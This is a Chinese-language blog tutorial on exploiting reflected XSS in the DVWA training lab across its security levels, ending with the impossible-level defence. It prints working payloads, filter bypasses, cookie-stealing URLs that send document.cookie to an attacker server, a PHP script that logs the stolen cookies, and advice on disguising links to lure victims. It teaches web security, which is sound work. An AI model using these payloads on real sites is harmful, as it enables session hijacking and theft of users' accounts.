欢迎访问 生活随笔!

生活随笔

当前位置: 首页 > 编程资源 > 编程问答 >内容正文

编程问答

DVWA靶机-反射性XSS漏洞(Reflected)

发布时间:2023/12/14 编程问答 69 豆豆
生活随笔 收集整理的这篇文章主要介绍了 DVWA靶机-反射性XSS漏洞(Reflected) 小编觉得挺不错的,现在分享给大家,帮大家做个参考.

DVWA靶机-反射性XSS漏洞(Reflected)

DVWA靶机-暴力破解(Brute Force) && DVWA靶机的四个安全等级

DVWA靶机-命令注入漏洞(Command Injection)

DVWA靶机-文件包含漏洞(File Inclusion)

DVWA靶机-文件上传漏洞(File uploads)

DVWA靶机-跨站请求伪造(CSRF)

XSS跨站脚本攻击

XSS(Cross Site Script):全称为跨站脚本攻击,为了与CSS(Cascading Style Sheet)层叠样式表有所区别,所以在安全领域称之为XSS。

XSS攻击:通常指黑客通过HTML注入(控制输入变量),插入恶意脚本,从而在被攻击者浏览网页时,加载并执行攻击者恶意制造的网页程序,通常指JS,实际可包含java、VBscript、ActiveX、Flash、html,攻击成功后,攻击者可能得到一定的权限私密网页内容会话cookie等。

这种行为最初出现之时,所有的XSS攻击案例都是跨域行为,所以叫做跨站脚本。时至今日,随着WEB端功能的复杂化,应用化,是否跨站已经不重要但是XSS这个名字依然留存下来。

反射性XSS挖掘方法

1.反射型XSS漏洞可能存在的环境

我们在许多网页中可能都有搜索栏,在搜索栏中输入关键词查找后,页面回回显全部的或者部分的关键词,且在url中也会出现该关键词,此时该网页可能就存在反射性XSS漏洞。

此时可以做一个简单的测试,测试是否为GET型传参
alert()函数: 弹窗函数

<script>alert(1)</script>

2.漏洞检验-恶意代码化

此时漏洞就发现了,我们可以编辑恶意型的代码插入url中执行.

3.生成链接,诱导被攻击者点击

当发现这个漏洞后,我们需要对插入了恶意代码的链接进行变形、比如长链接变短链接长链接变二维码图片链接等,目的就是要诱导用户来点击该链接,从而达成攻击的效果。

1.DVWA-LOW等级下的反射型XSS漏洞

(1).本地用户登录,测试XSS漏洞所在位置

在LOW等级下,Reflectd型XSS的页面回显如下,在搜索栏里输入123,页面回显123,且在url中123也出现,此时该页面可能存在反射型XSS漏洞,同时也不存在任何防护的安全策略,我们可以实施攻击。

可以查到搜索栏的源代码

在回显Hello 123时使用的为<pre>Hello 123</pre>
此时我们可以考虑打破<pre>的闭合,在输入中加入其它函数或者标签。
alert() && confirm() && prompt()函数: 都为弹窗函数

我们在url中name后面加入<script>alert(1)</script>打破<pre>闭合,此时alert()函数执行,弹出1


此时可以进行一些有攻击性的操作,我们在url中构造出获取被攻击者cookie值的函数,盗取用户的cookie值。

(2).构造恶意链接、盗取用户cookie

document.location: 指定cookie传送站点
10.113.241.2: 为攻击者服务器
document.cookie: 获取当前用户的cookie值

http://192.168.203.149/DVWA-1.9/vulnerabilities/xss_r/?name=<script>document.location='http://10.113.241.2/xss.php?cookie=' +document.cookie;</script>

xss.php:为LOW等级获取cookie的处理方法

//xss.php <?php$cookie = $_GET['cookie']; //获取cookie变量的值$log = fopen("cookie.txt","w"); //创建并打开一个cookie.txt的文本权限为写入fwrite($log,$cookie."\n"); //把cookie的值写入创建的文本fclose($log); //关闭文本 ?> <h1>404<h1> <h2>file not found.<h2>

当用户点击此链接时,通过document.cookie函数获取当前用户的cookie值,赋给站点的xss.php文件,xss.php中定义文件操作,将获取的cookie写入cookie.txt文件,此时攻击者就获取了用户的cookie值。

如下是通过转码的恶意链接,用户点击这个链接会执行上述操作

192.168.203.149/DVWA-1.9/vulnerabilities/xss_r/?name=%3Cscript%3Edocument.location%3D%27http%3A%2F%2F10.113.241.2%2Fxss.php%3Fcookie%3D%27+%2Bdocument.cookie%3B%3C%2Fscript%3E

被攻击者点击该链接后就会弹窗到如下页面

要使该链接变的更加有迷惑性,可以进行长短链接的变换,链接生成二维码,或者具有诱惑性的图片链接等。

图中为用户点击恶意链接后在攻击者本地生成的cookie.txt文件,里面已经写入了用户的cookie值。

(3).以用户的身份认证(cookie值)登录网站

在DVWA中对于cookie没有防范措施,也就是说,在用户登录的情况下,攻击者可以利用用户的cookie,直接与服务器获取连接

在这块,由于之前的cookie,我在浏览器中清除了一次,在此处为了演示步骤,直接用cookie值连接,原理相同

LOW 等级下的反射性XSS源码:
XSS (Reflected) Source:

array_key_exists()函数: 检查某个数组中是否存在指定的键名,如果键名存在则返回 true,如果键名不存在则返回 false

array_key_exists(key,array):key和array都是必须存在的,key为规定键名,array为规定数组。

在源终GET得到的值是以数组的形式,然后判断GET得到的name是不是空,不为空,执行echo语句。

<?php// Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Feedback for end userecho '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; }?>

2.DVWA-Medium等级下的反射型XSS漏洞

(1).漏洞测试

在Medium等级下,必然存在着一些过滤策略,同low等级一样,漏洞的位置是一样的

此时我们用alert()函数,弹窗函数,测试是否能利用<script></script>标签是否可用

此时发现alert()函数不能弹窗,且页面回显alert(1),此时我们可以分析到<script></script>未能起到作用,应该是被过滤,我们查看Medium等级下的源码

XSS (Reflected) Source:
str_repalce()函数: 在此处过滤了标签<script></script>,将GET中输入中的script标签替换为空

<?php// Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = str_replace( '<script>', '', $_GET[ 'name' ] );// Feedback for end userecho "<pre>Hello ${name}</pre>"; }?>

绕过str_replace()函数:
1.双写绕过,双写<script>

<scri<script>pt>alert(1)</script>

2.大小写字母绕过,str_replace()函数替换的为字符串,此时可以将script标签改为大写绕过

<ScRipt>alert(1)<ScRipt>

(2).构造恶意链接、盗取用户cookie

同low等级一样,构造的恶意链接为

http://192.168.203.149/DVWA-1.9/vulnerabilities/xss_r/?name=<ScRipt>document.location='http://10.113.241.2/xss1.php?cookie=' +document.cookie;</ScRipt>

low等级不同的是,<ScRipt></ScRipt>

xss1.php:为Medium等级下获取cookie的处理方法
创建的用户保存用户cookie的文档为,cookie1.txt文档

//xss1.php <?php$cookie = $_GET['cookie']; //获取cookie变量的值$log = fopen("cookie1.txt","w"); //创建并打开一个cookie1.txt的文本权限为写入fwrite($log,$cookie."\n"); //把cookie的值写入创建的文本fclose($log); //关闭文本 ?> <h1>404<h1> <h2>file not found.<h2>

当用户点击此链接时,通过document.cookie函数获取当前用户的cookie值,赋给站点的xss1.php文件,xss1.php中定义文件操作,将获取的cookie写入cookie1.txt文件,此时攻击者就获取了用户的cookie值。

如下是通过转码的恶意链接,用户点击这个链接会执行上述操作

192.168.203.149/DVWA-1.9/vulnerabilities/xss_r/?name=%3CScRipt%3Edocument.location%3D%27http%3A%2F%2F10.113.241.2%2Fxss1.php%3Fcookie%3D%27+%2Bdocument.cookie%3B%3C%2FScRipt%3E


要使该链接变的更加有迷惑性,可以进行长短链接的变换链接生成二维码,或者具有诱惑性的图片链接等。

此时cookie1.txt中已经写入cookie值

(3).以用户的身份认证(cookie值)登录网站

在DVWA中对于cookie没有防范措施,也就是说,在用户登录的情况下,攻击者可以利用用户的cookie,直接与服务器获取连接

3.DVWA-High等级下的反射性XSS漏洞

在High等级下必然定义了比Medium等级更强的安全策略,我们查看其源码
High等级下的反射性XSS源码:
preg_replace()函数: 函数用于正则表达式的搜索和替换,替换为空,i为不区分大小写

<?php// Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );// Feedback for end userecho "<pre>Hello ${name}</pre>"; }?>

绕过方法:

使用其他的标签,<img src=x onerror=alert(1)>
img调用图片,在此处,当图片的src所指的路径不存在图片,则弹出对话框,回显1

由于preg_replace()函数,此时像low和medium等级的构造恶意链接方式不可用

4.impossible等级

impossible等级防范XSS反射型的一个案例,相当强大

impossible等级源码:
impossible Reflected XSS Source:

htmlspecialchars()函数: 将特殊字符转换为 HTML 实体
token机制: 随机值

<?php// Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$name = htmlspecialchars( $_GET[ 'name' ] );// Feedback for end userecho "<pre>Hello ${name}</pre>"; }// Generate Anti-CSRF token generateSessionToken();?>

总结

以上是生活随笔为你收集整理的DVWA靶机-反射性XSS漏洞(Reflected)的全部内容,希望文章能够帮你解决所遇到的问题。

如果觉得生活随笔网站内容还不错,欢迎将生活随笔推荐给好友。